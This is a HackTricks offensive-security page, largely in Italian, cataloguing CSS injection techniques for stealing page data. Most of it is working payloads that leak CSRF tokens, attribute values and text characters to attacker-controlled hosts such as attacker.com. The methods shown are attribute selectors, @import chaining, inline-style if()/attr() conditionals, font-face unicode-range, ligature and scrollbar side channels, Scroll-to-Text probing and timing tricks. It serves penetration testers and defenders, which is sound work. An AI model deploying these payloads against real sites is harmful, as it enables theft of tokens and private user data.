CSS Injection
Reading time: 25 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
CSS Injection
Attribute Selector
I selettori CSS sono costruiti per corrispondere ai valori degli attributi name
e value
di un elemento input
. Se l'attributo value
dell'elemento input
inizia con un carattere specifico, viene caricata una risorsa esterna predefinita:
input[name="csrf"][value^="a"] {
background-image: url(https://attacker.com/exfil/a);
}
input[name="csrf"][value^="b"] {
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name="csrf"][value^="9"] {
background-image: url(https://attacker.com/exfil/9);
}
Tuttavia, questo approccio presenta una limitazione quando si lavora con elementi input nascosti (type="hidden"
) perché gli elementi nascosti non caricano gli sfondi.
Bypass per elementi nascosti
Per aggirare questa limitazione, puoi mirare a un elemento fratello successivo usando il combinatore general sibling ~
. La regola CSS si applicherà quindi a tutti i fratelli successivi all'elemento input nascosto, causando il caricamento dell'immagine di sfondo:
input[name="csrf"][value^="csrF"] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}
Un esempio pratico di sfruttamento di questa tecnica è dettagliato nello snippet di codice fornito. Puoi vederlo qui.
Prerequisiti per CSS Injection
Perché la tecnica CSS Injection sia efficace, devono essere soddisfatte alcune condizioni:
- Payload Length: Il vettore di CSS injection deve supportare payload sufficientemente lunghi per ospitare i selettori creati.
- CSS Re-evaluation: Dovresti avere la possibilità di mettere la pagina in un frame, necessario per innescare la rivalutazione del CSS con payload appena generati.
- External Resources: La tecnica presuppone la possibilità di usare immagini ospitate esternamente. Questo può essere limitato dalla Content Security Policy (CSP) del sito.
Blind Attribute Selector
Come spiegato in questo post, è possibile combinare i selettori :has
e :not
per identificare contenuti anche da elementi non visibili. Questo è molto utile quando non si ha idea di cosa ci sia nella pagina web che carica la CSS injection.
È anche possibile usare quei selettori per estrarre informazioni da più blocchi dello stesso tipo, come in:
<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background: url(/m);
}
</style>
<input name="mytoken" value="1337" />
<input name="myname" value="gareth" />
Combinando questo con la seguente tecnica @import, è possibile esfiltrare molte informazioni usando CSS injection da pagine blind con blind-css-exfiltration.
@import
La tecnica precedente presenta alcuni limiti, controlla i prerequisiti. Devi essere in grado o di inviare più link al victim, o di poter includere in iframe la pagina vulnerabile a CSS injection.
Tuttavia, esiste un'altra tecnica astuta che usa CSS @import
per migliorare l'efficacia della tecnica.
Questo è stato mostrato per la prima volta da Pepe Vila e funziona così:
Invece di caricare la stessa pagina più volte con decine di payload differenti ogni volta (come nella precedente), caricheremo la pagina una sola volta e soltanto con un import verso il server dell'attacker (questo è il payload da inviare alla victim):
@import url("//attacker.com:5001/start?");
- L'importazione riceverà uno script CSS dagli attacker e il browser lo caricherà.
- La prima parte dello script CSS che l'attacker invierà è un altro
@import
verso il server dell'attacker. - Il server dell'attacker non risponderà ancora a questa richiesta, perché vogliamo leak alcuni caratteri e poi rispondere a questo import con il payload per leakare i successivi.
- La seconda e più grossa parte del payload sarà un payload di esfiltrazione tramite attribute selector
- Questo invierà al server dell'attacker il primo carattere del secret e l'ultimo
- Una volta che il server dell'attacker ha ricevuto il primo e l'ultimo carattere del secret, risponderà all'import richiesto nel passo 2.
- La risposta sarà esattamente la stessa dei passi 2, 3 e 4, ma questa volta cercherà di trovare il secondo carattere del secret e poi il penultimo.
L'attacker seguirà quel ciclo fino a quando non riuscirà a leakare completamente il secret.
You can find the original Pepe Vila's code to exploit this here or you can find almost the same code but commented here.
tip
Lo script cercherà di scoprire 2 caratteri ogni volta (dall'inizio e dalla fine) perché l'attribute selector permette di fare cose come:
/* value^= to match the beggining of the value*/
input[value^="0"] {
--s0: url(http://localhost:5001/leak?pre=0);
}
/* value$= to match the ending of the value*/
input[value$="f"] {
--e0: url(http://localhost:5001/leak?post=f);
}
Questo permette allo script di leakare il secret più velocemente.
warning
A volte lo script non rileva correttamente che il prefisso + suffisso scoperto è già la flag completa e continuerà avanti (nel prefisso) e indietro (nel suffisso) e a un certo punto si bloccherà.
Nessun problema, controlla semplicemente l'output perché puoi vedere la flag lì.
Inline-Style CSS Exfiltration (attr() + if() + image-set())
This primitive enables exfiltration using only an element's inline style attribute, without selectors or external stylesheets. It relies on CSS custom properties, the attr() function to read same-element attributes, the new CSS if() conditionals for branching, and image-set() to trigger a network request that encodes the matched value.
warning
I confronti di uguaglianza in if() richiedono doppi apici per i literal stringa. Gli apici singoli non corrisponderanno.
- Sink: controlla l'attributo style di un elemento e assicurati che l'attributo target sia sullo stesso elemento (attr() legge solo attributi dello stesso elemento).
- Read: copia l'attributo in una variabile CSS:
--val: attr(title)
. - Decide: seleziona un URL usando condizionali annidati confrontando la variabile con candidate stringhe:
--steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2))
. - Exfiltrate: applica
background: image-set(var(--steal))
(o qualsiasi proprietà che effettua fetch) per forzare una richiesta all'endpoint scelto.
Attempt (does not work; single quotes in comparison):
<div style="--val:attr(title);--steal:if(style(--val:'1'): url(/1); else: url(/2));background:image-set(var(--steal))" title=1>test</div>
Working payload (virgolette doppie richieste nella comparazione):
<div style='--val:attr(title);--steal:if(style(--val:"1"): url(/1); else: url(/2));background:image-set(var(--steal))' title=1>test</div>
Enumerazione dei valori degli attributi con condizionali annidati:
<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>
Demo realistico (probing usernames):
<div style='--val: attr(data-username); --steal: if(style(--val:"martin"): url(https://attacker.tld/martin); else: if(style(--val:"zak"): url(https://attacker.tld/zak); else: url(https://attacker.tld/james))); background: image-set(var(--steal));' data-username="james"></div>
Note e limitazioni:
- Funziona sui browser basati su Chromium al momento della ricerca; il comportamento potrebbe differire su altri motori.
- Più adatto per spazi di valori finiti/enumerabili (IDs, flags, username brevi). Rubare stringhe arbitrariamente lunghe senza fogli di stile esterni resta difficile.
- Qualsiasi proprietà CSS che recupera un URL può essere usata per innescare la richiesta (es., background/image-set, border-image, list-style, cursor, content).
Automazione: a Burp Custom Action può generare nested inline-style payloads per brute-force dei valori degli attributi: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda
Other selectors
Altri modi per accedere a parti del DOM con selettori CSS:
.class-to-search:nth-child(2)
: Questo cercherà il secondo elemento con la classe "class-to-search" nel DOM.:empty
selector: Used for example in this writeup:
[role^="img"][aria-label="1"]:empty {
background-image: url("YOUR_SERVER_URL?1");
}
Error based XS-Search
Riferimenti: CSS based Attack: Abusing unicode-range of @font-face , Error-Based XS-Search PoC by @terjanq
L'intento generale è usare un font custom da un endpoint controllato e assicurarsi che il testo (in questo caso, 'A') venga mostrato con questo font solo se la risorsa specificata (favicon.ico
) non può essere caricata.
<!DOCTYPE html>
<html>
<head>
<style>
@font-face {
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range: U+0041;
}
#poc0 {
font-family: "poc";
}
</style>
</head>
<body>
<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
- Uso di font personalizzato:
- Un font personalizzato è definito usando la regola
@font-face
all'interno di un tag<style>
nella sezione<head>
. - Il font si chiama
poc
ed è recuperato da un endpoint esterno (http://attacker.com/?leak
). - La proprietà
unicode-range
è impostata suU+0041
, mirando al carattere Unicode specifico 'A'.
- Object Element con testo di fallback:
- Un elemento
<object>
conid="poc0"
è creato nella sezione<body>
. Questo elemento tenta di caricare una risorsa dahttp://192.168.0.1/favicon.ico
. - La
font-family
per questo elemento è impostata su'poc'
, come definito nella sezione<style>
. - Se la risorsa (
favicon.ico
) non riesce a caricarsi, il contenuto di fallback (la lettera 'A') all'interno del tag<object>
viene mostrato. - Il contenuto di fallback ('A') sarà renderizzato usando il font personalizzato
poc
se la risorsa esterna non può essere caricata.
Stilizzazione dello Scroll-to-Text Fragment
La pseudo-classe :target
è usata per selezionare un elemento destinato da un frammento URL, come specificato nella CSS Selectors Level 4 specification. È fondamentale capire che ::target-text
non corrisponde ad alcun elemento a meno che il testo non sia esplicitamente mirato dal frammento.
Si presenta un problema di sicurezza quando gli attackers sfruttano la funzionalità Scroll-to-text, permettendo loro di confermare la presenza di testo specifico in una pagina web caricando una risorsa dal loro server tramite HTML injection. Il metodo prevede l'iniezione di una regola CSS come la seguente:
:target::before {
content: url(target.png);
}
In tali scenari, se il testo "Administrator" è presente nella pagina, la risorsa target.png
viene richiesta dal server, indicando la presenza del testo. Un'istanza di questo attacco può essere eseguita tramite un URL appositamente creato che incorpora il CSS iniettato insieme a uno Scroll-to-text fragment:
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
Qui, l'attacco manipola HTML injection per trasmettere il codice CSS, mirando al testo specifico "Administrator" tramite lo Scroll-to-text fragment (#:~:text=Administrator
). Se il testo viene trovato, la risorsa indicata viene caricata, segnalandone involontariamente la presenza all'attaccante.
Per la mitigazione, si devono considerare i seguenti punti:
- Corrispondenza STTF limitata: Scroll-to-text Fragment (STTF) è progettato per corrispondere solo parole o frasi, limitando così la sua capacità di leakare segreti o token arbitrari.
- Restrizione ai contesti di navigazione di livello superiore: STTF opera soltanto in top-level browsing contexts e non funziona all'interno di iframes, rendendo qualsiasi tentativo di exploitation più evidente per l'utente.
- Necessità di attivazione da parte dell'utente: STTF richiede un gesto di user-activation per funzionare, il che significa che le exploitation sono realizzabili solo tramite navigazioni avviate dall'utente. Questo requisito mitiga considerevolmente il rischio che attacchi vengano automatizzati senza interazione dell'utente. Tuttavia, l'autore del blog post segnala condizioni specifiche e bypasses (es. social engineering, interazione con diffusi browser extensions) che potrebbero facilitare l'automazione dell'attacco.
La consapevolezza di questi meccanismi e delle potenziali vulnerabilità è fondamentale per mantenere la sicurezza web e proteggersi da tali tattiche di sfruttamento.
Per maggiori informazioni consulta il report originale: https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/
You can check an exploit using this technique for a CTF here.
@font-face / unicode-range
Puoi specificare font esterni per specifici valori unicode che saranno scaricati solo se quei valori unicode sono presenti nella pagina. Per esempio:
<style>
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range: U+0041;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range: U+0042;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range: U+0043;
}
#sensitive-information {
font-family: poc;
}
</style>
<p id="sensitive-information">AB</p>
htm
When you access this page, Chrome and Firefox fetch "?A" and "?B" because text node of sensitive-information contains "A" and "B" characters. But Chrome and Firefox do not fetch "?C" because it does not contain "C". This means that we have been able to read "A" and "B".
Text node exfiltration (I): ligatures
Riferimento: Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację
La tecnica descritta consiste nell'estrarre testo da un node sfruttando le font ligatures e monitorando le variazioni di larghezza. Il processo prevede diversi passaggi:
- Creation of Custom Fonts:
- SVG fonts vengono creati con glyphs che hanno l'attributo
horiz-adv-x
, il quale imposta una larghezza elevata per un glyph che rappresenta una sequenza di due caratteri. - Esempio di SVG glyph:
<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>
, dove "XY" denota una sequenza di due caratteri. - Questi fonts vengono poi convertiti in formato woff usando fontforge.
- Detection of Width Changes:
- Viene usato CSS per evitare l'wrapping del testo (
white-space: nowrap
) e per personalizzare lo stile della scrollbar. - L'apparizione di una scrollbar orizzontale, stilizzata in modo distinto, funge da indicatore (oracle) che una specifica ligature, e dunque una specifica sequenza di caratteri, è presente nel testo.
- Il CSS coinvolto:
body {
white-space: nowrap;
}
body::-webkit-scrollbar {
background: blue;
}
body::-webkit-scrollbar:horizontal {
background: url(http://attacker.com/?leak);
}
- Exploit Process:
- Step 1: Vengono creati fonts per coppie di caratteri con larghezza sostanziale.
- Step 2: Si usa un trucco basato sulla scrollbar per rilevare quando il glyph di grande larghezza (ligature per una coppia di caratteri) viene renderizzato, indicando la presenza della sequenza di caratteri.
- Step 3: Al rilevamento della ligature, si generano nuovi glyph che rappresentano sequenze di tre caratteri, incorporando la coppia rilevata e aggiungendo un carattere precedente o successivo.
- Step 4: Si effettua la rilevazione della ligature a tre caratteri.
- Step 5: Il processo si ripete, rivelando progressivamente l'intero testo.
- Optimization:
- Il metodo di inizializzazione attuale che usa
<meta refresh=...
non è ottimale. - Un approccio più efficiente potrebbe sfruttare il trucco
@import
in CSS, migliorando le prestazioni dell'exploit.
Text node exfiltration (II): leaking the charset with a default font (not requiring external assets)
Riferimento: PoC using Comic Sans by @Cgvwzq & @Terjanq
Questo trick è stato pubblicato in questo Slackers thread. Il charset usato in un text node può essere leaked using the default fonts installati nel browser: non sono necessari fonts esterni o custom.
Il concetto ruota intorno all'utilizzo di un'animazione per espandere incrementally la larghezza di un div
, permettendo a un carattere alla volta di passare dalla parte 'suffix' del testo alla parte 'prefix'. Questo processo divide effettivamente il testo in due sezioni:
- Prefisso: la linea iniziale.
- Suffisso: la/e linea/e successive.
Le fasi di transizione dei caratteri apparirebbero come segue:
C
ADB
CA
DB
CAD
B
CADB
Durante questa transizione viene impiegato il unicode-range trick per identificare ogni nuovo carattere man mano che si unisce al prefisso. Questo viene realizzato cambiando il font a Comic Sans, che è notevolmente più alto del font di default, causando quindi la comparsa di una scrollbar verticale. L'apparizione di questa scrollbar rivela indirettamente la presenza di un nuovo carattere nel prefisso.
Sebbene questo metodo permetta la rilevazione dei caratteri unici mano a mano che compaiono, non specifica quale carattere sia ripetuto, solo che si è verificata una ripetizione.
tip
Fondamentalmente, il unicode-range è usato per rilevare un char, ma poiché non vogliamo caricare un font esterno, dobbiamo trovare un altro modo.
Quando il char viene trovato, gli viene assegnato il Comic Sans preinstallato, che rende il char più grande e fa comparire una scroll bar che leakerà il char trovato.
Check the code extracted from the PoC:
/* comic sans is high (lol) and causes a vertical overflow */
@font-face {
font-family: has_A;
src: local("Comic Sans MS");
unicode-range: U+41;
font-style: monospace;
}
@font-face {
font-family: has_B;
src: local("Comic Sans MS");
unicode-range: U+42;
font-style: monospace;
}
@font-face {
font-family: has_C;
src: local("Comic Sans MS");
unicode-range: U+43;
font-style: monospace;
}
@font-face {
font-family: has_D;
src: local("Comic Sans MS");
unicode-range: U+44;
font-style: monospace;
}
@font-face {
font-family: has_E;
src: local("Comic Sans MS");
unicode-range: U+45;
font-style: monospace;
}
@font-face {
font-family: has_F;
src: local("Comic Sans MS");
unicode-range: U+46;
font-style: monospace;
}
@font-face {
font-family: has_G;
src: local("Comic Sans MS");
unicode-range: U+47;
font-style: monospace;
}
@font-face {
font-family: has_H;
src: local("Comic Sans MS");
unicode-range: U+48;
font-style: monospace;
}
@font-face {
font-family: has_I;
src: local("Comic Sans MS");
unicode-range: U+49;
font-style: monospace;
}
@font-face {
font-family: has_J;
src: local("Comic Sans MS");
unicode-range: U+4a;
font-style: monospace;
}
@font-face {
font-family: has_K;
src: local("Comic Sans MS");
unicode-range: U+4b;
font-style: monospace;
}
@font-face {
font-family: has_L;
src: local("Comic Sans MS");
unicode-range: U+4c;
font-style: monospace;
}
@font-face {
font-family: has_M;
src: local("Comic Sans MS");
unicode-range: U+4d;
font-style: monospace;
}
@font-face {
font-family: has_N;
src: local("Comic Sans MS");
unicode-range: U+4e;
font-style: monospace;
}
@font-face {
font-family: has_O;
src: local("Comic Sans MS");
unicode-range: U+4f;
font-style: monospace;
}
@font-face {
font-family: has_P;
src: local("Comic Sans MS");
unicode-range: U+50;
font-style: monospace;
}
@font-face {
font-family: has_Q;
src: local("Comic Sans MS");
unicode-range: U+51;
font-style: monospace;
}
@font-face {
font-family: has_R;
src: local("Comic Sans MS");
unicode-range: U+52;
font-style: monospace;
}
@font-face {
font-family: has_S;
src: local("Comic Sans MS");
unicode-range: U+53;
font-style: monospace;
}
@font-face {
font-family: has_T;
src: local("Comic Sans MS");
unicode-range: U+54;
font-style: monospace;
}
@font-face {
font-family: has_U;
src: local("Comic Sans MS");
unicode-range: U+55;
font-style: monospace;
}
@font-face {
font-family: has_V;
src: local("Comic Sans MS");
unicode-range: U+56;
font-style: monospace;
}
@font-face {
font-family: has_W;
src: local("Comic Sans MS");
unicode-range: U+57;
font-style: monospace;
}
@font-face {
font-family: has_X;
src: local("Comic Sans MS");
unicode-range: U+58;
font-style: monospace;
}
@font-face {
font-family: has_Y;
src: local("Comic Sans MS");
unicode-range: U+59;
font-style: monospace;
}
@font-face {
font-family: has_Z;
src: local("Comic Sans MS");
unicode-range: U+5a;
font-style: monospace;
}
@font-face {
font-family: has_0;
src: local("Comic Sans MS");
unicode-range: U+30;
font-style: monospace;
}
@font-face {
font-family: has_1;
src: local("Comic Sans MS");
unicode-range: U+31;
font-style: monospace;
}
@font-face {
font-family: has_2;
src: local("Comic Sans MS");
unicode-range: U+32;
font-style: monospace;
}
@font-face {
font-family: has_3;
src: local("Comic Sans MS");
unicode-range: U+33;
font-style: monospace;
}
@font-face {
font-family: has_4;
src: local("Comic Sans MS");
unicode-range: U+34;
font-style: monospace;
}
@font-face {
font-family: has_5;
src: local("Comic Sans MS");
unicode-range: U+35;
font-style: monospace;
}
@font-face {
font-family: has_6;
src: local("Comic Sans MS");
unicode-range: U+36;
font-style: monospace;
}
@font-face {
font-family: has_7;
src: local("Comic Sans MS");
unicode-range: U+37;
font-style: monospace;
}
@font-face {
font-family: has_8;
src: local("Comic Sans MS");
unicode-range: U+38;
font-style: monospace;
}
@font-face {
font-family: has_9;
src: local("Comic Sans MS");
unicode-range: U+39;
font-style: monospace;
}
@font-face {
font-family: rest;
src: local("Courier New");
font-style: monospace;
unicode-range: U+0-10FFFF;
}
div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}
div.leak::first-line {
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}
/* iterate over all chars */
@keyframes trychar {
0% {
font-family: rest;
} /* delay for width change */
5% {
font-family: has_A, rest;
--leak: url(?a);
}
6% {
font-family: rest;
}
10% {
font-family: has_B, rest;
--leak: url(?b);
}
11% {
font-family: rest;
}
15% {
font-family: has_C, rest;
--leak: url(?c);
}
16% {
font-family: rest;
}
20% {
font-family: has_D, rest;
--leak: url(?d);
}
21% {
font-family: rest;
}
25% {
font-family: has_E, rest;
--leak: url(?e);
}
26% {
font-family: rest;
}
30% {
font-family: has_F, rest;
--leak: url(?f);
}
31% {
font-family: rest;
}
35% {
font-family: has_G, rest;
--leak: url(?g);
}
36% {
font-family: rest;
}
40% {
font-family: has_H, rest;
--leak: url(?h);
}
41% {
font-family: rest;
}
45% {
font-family: has_I, rest;
--leak: url(?i);
}
46% {
font-family: rest;
}
50% {
font-family: has_J, rest;
--leak: url(?j);
}
51% {
font-family: rest;
}
55% {
font-family: has_K, rest;
--leak: url(?k);
}
56% {
font-family: rest;
}
60% {
font-family: has_L, rest;
--leak: url(?l);
}
61% {
font-family: rest;
}
65% {
font-family: has_M, rest;
--leak: url(?m);
}
66% {
font-family: rest;
}
70% {
font-family: has_N, rest;
--leak: url(?n);
}
71% {
font-family: rest;
}
75% {
font-family: has_O, rest;
--leak: url(?o);
}
76% {
font-family: rest;
}
80% {
font-family: has_P, rest;
--leak: url(?p);
}
81% {
font-family: rest;
}
85% {
font-family: has_Q, rest;
--leak: url(?q);
}
86% {
font-family: rest;
}
90% {
font-family: has_R, rest;
--leak: url(?r);
}
91% {
font-family: rest;
}
95% {
font-family: has_S, rest;
--leak: url(?s);
}
96% {
font-family: rest;
}
}
/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% {
width: 0px;
}
1% {
width: 20px;
}
2% {
width: 40px;
}
3% {
width: 60px;
}
4% {
width: 80px;
}
4% {
width: 100px;
}
5% {
width: 120px;
}
6% {
width: 140px;
}
7% {
width: 0px;
}
}
div::-webkit-scrollbar {
background: blue;
}
/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}
Text node exfiltration (III): leaking the charset con un default font nascondendo elementi (senza richiedere risorse esterne)
Riferimento: Questo è menzionato come an unsuccessful solution in this writeup
Questo caso è molto simile al precedente; tuttavia, in questo caso l'obiettivo di rendere specifici caratteri più grandi degli altri è nascondere qualcosa come un pulsante che il bot non deve premere o un'immagine che non verrà caricata. Possiamo quindi misurare l'azione (o la sua assenza) e sapere se un carattere specifico è presente all'interno del testo.
Text node exfiltration (III): leaking the charset by cache timing (not requiring external assets)
Riferimento: Questo è menzionato come an unsuccessful solution in this writeup
In questo caso, potremmo provare a leak se un carattere è presente nel testo caricando un fake font dalla stessa origine:
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}
If there is a match, the font will be loaded from /static/bootstrap.min.css?q=1
. Although it won’t load successfully, the browser should cache it, and even if there is no cache, there is a 304 not modified mechanism, so the response should be faster than other things.
Tuttavia, se la differenza di tempo tra la risposta cache e quella non-cache non è abbastanza grande, questo non sarà utile. Per esempio, l'autore ha scritto: "Dopo i test ho scoperto che il primo problema è che la velocità non è molto diversa, e il secondo problema è che il bot usa il flag disk-cache-size=1
, che è una scelta davvero accorta."
Text node exfiltration (III): leaking the charset by timing loading hundreds of local "fonts" (not requiring external assets)
Riferimento: Questo è menzionato come an unsuccessful solution in this writeup
In questo caso puoi indicare CSS to load hundreds of fake fonts dalla stessa origine quando si verifica una corrispondenza. In questo modo puoi misurare il tempo impiegato e scoprire se un char appare o no con qualcosa come:
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1), url(/static/bootstrap.min.css?q=2),
.... url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}
E il codice del bot è il seguente:
browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)
Dunque, se il font non corrisponde, il tempo di risposta durante la visita al bot dovrebbe essere di circa 30 secondi. Tuttavia, se il font corrisponde, verranno inviate più richieste per recuperare il font, causando attività di rete continua. Di conseguenza, ci vorrà più tempo per soddisfare la condizione di stop e ricevere la risposta. Pertanto, il tempo di risposta può essere usato come indicatore per determinare se c'è una corrispondenza del font.
Riferimenti
- https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e
- https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b
- https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d
- https://x-c3ll.github.io/posts/CSS-Injection-Primitives/
- Inline Style Exfiltration: leaking data with chained CSS conditionals (PortSwigger)
- InlineStyleAttributeStealer.bambda (Burp Custom Action)
- PoC page for inline-style exfiltration
- MDN: CSS if() conditional
- MDN: CSS attr() function
- MDN: image-set()
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.